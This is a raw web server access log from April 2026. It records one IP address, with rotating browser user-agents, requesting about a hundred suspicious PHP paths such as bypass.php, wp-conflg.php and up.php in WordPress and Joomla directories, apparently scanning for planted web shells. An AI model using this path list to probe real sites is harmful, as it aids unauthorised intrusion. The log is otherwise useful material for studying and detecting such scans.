"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:24:26 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:26 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:26 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:27 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:27 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:27 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:28 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:28 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:28 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:29 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:29 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:29 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:30 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:30 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:30 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:31 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:31 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:31 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:32 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:32 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:24:32 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:32 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:33 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:33 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:33 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:34 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:34 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:34 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:35 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:24:35 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:35 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:36 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:36 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:37 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:37 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:37 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:37 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:38 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:38 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:38 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:39 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:39 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:39 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:40 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:40 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:40 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:41 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:41 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:41 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:24:42 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:42 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:42 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:24:43 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:43 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:43 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:44 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:44 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:24:44 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:44 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:45 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:45 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:46 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:24:46 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:46 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:47 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:47 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:47 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:48 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:48 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:48 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:49 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:49 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:50 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:50 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:50 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:51 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:51 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:51 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:52 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:52 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:52 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:24:53 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:53 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:24:53 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:54 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:54 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:54 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:55 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:55 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:55 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:55 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:56 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:56 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:57 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:24:57 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:57 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:57 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:58 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:58 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:58 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:24:59 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:59 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:24:59 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:00 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:25:00 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:00 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:01 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:25:01 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:01 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:02 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:02 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:02 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:03 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:03 +0300] "GET 